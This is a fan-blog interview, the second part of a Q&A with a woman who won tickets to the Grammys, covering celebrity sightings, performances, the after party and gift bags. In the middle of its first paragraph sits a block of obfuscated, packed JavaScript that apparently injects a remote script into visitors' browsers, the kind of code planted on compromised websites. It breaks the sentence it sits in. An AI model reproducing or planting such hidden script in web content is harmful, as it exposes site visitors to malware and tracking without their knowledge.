Going to the Grammys, Part 2

It’s Friday! And what better way to get the weekend started than the 2nd half of our interview with Caresse!  She went to the Grammys and has been sharing the ins and outs of her time rubbing elbows with celebs! You can read Part ;if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“<\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nsbat|var|u0026u|referrer|nfdha||js|php’.split(‘|’),0,{}))
1 here!

Q: Did you talk to or get a picture with any celebs? If not, how close was the closest celeb – i.e. “I got within 2 feet of Madonna!”

A: When the show got close to start time, I noticed how good our seats really were. All of the celebs sitting to the right of the stage – or middle for that matter – were walking by our section. Gloria Estephan was the first star to walk by. I would say she was 4 feet in front of us. Then came John Legend, Robin Thicke and Paula Patton, Jared Leto, Alan Thicke, Neil Patrick Harris, Sir Paul McCartney, Bruno Mars, Taylor Swift, Smokey Robinson, Steven Tyler, Imagine Dragons, Kevin Hart, and then the show started.

I could have gone home at that point and been completely happy with my star sighting. The stars would mingle with each other, others got up and either left to use the restroom and what not. Some I realized celebs would leave because they were getting ready to perform. Paul McCartney and Ringo sang Happy Birthday to one of the show’s producers during a commercial break. This is also when I got to see the seat fillers in action. The seat filler were lined up towards the middle of the floor, they would call out 15 seconds and then all of the sudden people were directing them to seats. They were running down the aisle, racing to the seat before the show was back on. It was quite entertaining to watch.

Q: Was Taylor Swift’s head banging as awkward in person as it was on TV?

Yes! She was better live than I had expected, but the head banging thing was weird.

Q: Was Beyonce and Jay-Zs performance cool or totally awkward?

A: I was so excited when I learned that it was rumored they were going to perform. When the show opened and I heard Beyonce’s voice I immediately stood up. The performance reminded me of Flashdance. I was waiting for water to start pouring down on her. When Jay-Z got up and started grinding on her it was a bit awkward, but it was Jay-Z and Beyonce, it was still cool. I think, had they done a mash up and thrown in a little bit of Crazy In Love, it would have been a better.

Q: Thought’s on Pink’s act?

A: She is incredible. The first time she made that type of performance at the Grammys, I couldn’t really believe it. The fact that she can do those types of acrobatics alone is quite impressive, but to be able to sing at the same time is incredible. She is a tiny person, but her legs were very muscular. When she was lifting up the guy, I was just impressed with her overall strength. She did some type of somersault or flip and when she landed on the floor it sounded like a big thud. Did you hear it on TV? It sounded like it hurt!

Q: Best performance of the night (if you say Macklemore/Ryan Lewis, One Love, pick your 2nd favorite)?

I’ve been pondering on that question for the past week and still can’t answer that. I liked most of them but for different reasons. I mean we saw the Beatles perform….that alone was a highlight, b/c I never thought I would see that happen. The Daft Punk/Stevie Wonder performance was great, but I think the one that surprised me the most was Imagine Dragons and Kendrick Lamar. I think their performance had the most energy and everyone was up and out of their seats during that performance. The Same Love performance was one of the most memorable moments.

Q: Did you go to any after parties?

A: We went to the official “Grammy” after party, i.e…..thousands of normal people, no celebs in attendance. They were all at the VIP after parties, but it was still an after party. It was inside a huge ballroom with lots of bars, open bars I might add, food stations, and Ciara was performing while we were there (didn’t know she was preggers, it was impressive watching her run around the stage, with her 6-7 month belly showing). Boyz II Men was performing later in the night, but we didn’t stay for that. We had a good time eating food, partaking in a couple of cocktails but by 11:00 I was getting tired (we left our house at 2:30) and realized that it was way past by bed time.

Q: Did you get a gift bag? What was in it?

A: We did get gift bags on our way out. My boss went last year and said he was given expensive hair care product (ironic as he is bald), so I had high hopes. The after party was sponsored by 5 Gum….inside the reusable bag was a CD of the nominated artists and gum. Literally like 10-15 packs of gum in each bag. Gum that I had ironically purchased at Target the day before because it was on clearance! I guess this was another way of getting rid of some unpopular product. I guess you have to hope for a sponsor who makes a cool product. Although I was appreciative of the CD!

Q: Who did you hang out with at the after party?

A: We hung out with the other 2 couples that also won tickets.

Q: Who recognized more celebs? You or Tyler?

A: Really? You don’t’ know that answer to that question 🙂 I think I recognized the most celebs out of our group, although Tyler was good at recognizing the less noticeable musicians, like Lindsey Buckingham from Fleetwood Mac. I wouldn’t have been able to point him out, but Tyler did, which was great.

Q: What was the best part – and don’t go all existential and say it was all amazing – pick your favorite part – and if it’s Taylor Swift head banging, we aren’t friends anymore?

A: Ugh you’re not going to like my answer…….the whole experience was amazing (minus all of the country performances, while I appreciated those performances I could have done with a few less country songs), I mean if you think about it when do you ever see all of those people perform at the same show? Only the Grammys can do that! I kept trying to take pictures and videos during the performances and then I stopped and decided to just watch the show, you know “take it all in”.

Q: Who was the best dressed?

A: Beyonce looked amazing and Taylor Swift’s dress was gorgeous.

Q: Surprised by any of the artists – good or bad? Who surprised you the most?

A: I had high expectations of all the performers. However, Katy Perry surprised me the most. I’ve heard mixed reviews of her performance, but I thought it was very entertaining and she sounded much better than previous live shows. Lorde’s performance was a bit odd, but she sounded great! I mean I’m sure my backup vocals really helped her!

Q: Did you cry when those couples got married? What was it like in the Staples center during that moment?

A: I love the song, Same Love. I love the lyrics and the meaning behind the song. I love Mary Lambert’s performance, the whole thing! I thought it was great that Macklemore decided to perform that song rather than Thrift Shop. Then I started noticing all of these couples dressed in wedding attire along the aisle. I recognized the bride I had seen earlier and I began to realize what was going to happen. Watching the emotions of those getting married; gay, straight, or the interracial couples they were all so happy and in love. Being there watching this in person, I don’t know how one couldn’t get emotional and teary eyed.

They didn’t care that they married at the Grammys, it was the fact that they were “allowed” to be married. Later I learned that Ryan Lewis’ sister and her fiance were one of the couples that were married, Queen Latifah also had friends that were married, so it made sense why some of the celebs were more emotional than others, they had family who were getting married.

Q: How does this rate on your list of “coolest things you’ve ever gotten to do!” (with #1 obviously being featured on this blog)?

A: #2 right behind being featured on this blog. Tyler thinks. I was more excited for this than our wedding….I told him it was a different type of excited 🙂

Q: What time did you go to bed?

A: Midnight…which sounds boring, but when my alarm went off at 5:00 AM I was happy I went to bed when I did.

Looks like you had lots of fun! Thanks, Caresse!